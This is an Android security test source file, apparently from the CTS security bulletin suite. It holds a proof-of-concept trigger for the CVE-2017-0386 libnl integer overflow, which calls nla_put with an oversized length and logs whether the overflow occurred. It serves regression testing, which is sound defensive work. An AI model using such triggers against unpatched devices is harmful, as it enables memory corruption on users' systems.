hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c

/*
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sys/types.h>
#include <netlink-local.h>
#include <netlink/netlink.h>
#include <netlink/msg.h>
#include <stdio.h>
#include <log/log.h>

int main(void) {
  struct nl_msg *message = NULL;
  char *pad = NULL, *pad2 = NULL;
  uint32_t result = 0;

  message = nlmsg_alloc();
  if (message == NULL) {
    ALOGE("Alloc message memory failed");
    goto ret;
  }

  ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);

  struct nlmsghdr *hdr;
  hdr = message->nm_nlh;

  int length = 0x1000 + 12 - 0x30;
  pad = malloc(length);
  if (pad == NULL) {
    ALOGE("Alloc pad memory failed");
    goto ret;
  }
  memset(pad, 0x41, length);

  pad2 = malloc(0x1000);
  if (pad2 == NULL) {
    ALOGE("Alloc pad2 memory failed");
    goto ret;
  }
  memset(pad2, 0x33, 0x1000);

  nla_put(message, 0x4444, length, pad);
  result = message->nm_nlh->nlmsg_len;

  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
  ALOGI("message len = 0x%x", message->nm_nlh->nlmsg_len);

  nla_put(message, 0x8888, 0xFFFFF000, pad2);
  ALOGI("\n\n\nPutting down overflow.......\n\n\n");

  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
  ALOGI("message len = 0x%x", message->nm_nlh->nlmsg_len);

  if(result == message->nm_nlh->nlmsg_len) {
    ALOGE("No Integer overflow");
  } else {
    ALOGE("Integer overflow happened");
  }

ret:
  if(NULL != pad) free(pad);
  if(NULL != pad2) free(pad2);
  return 0;
}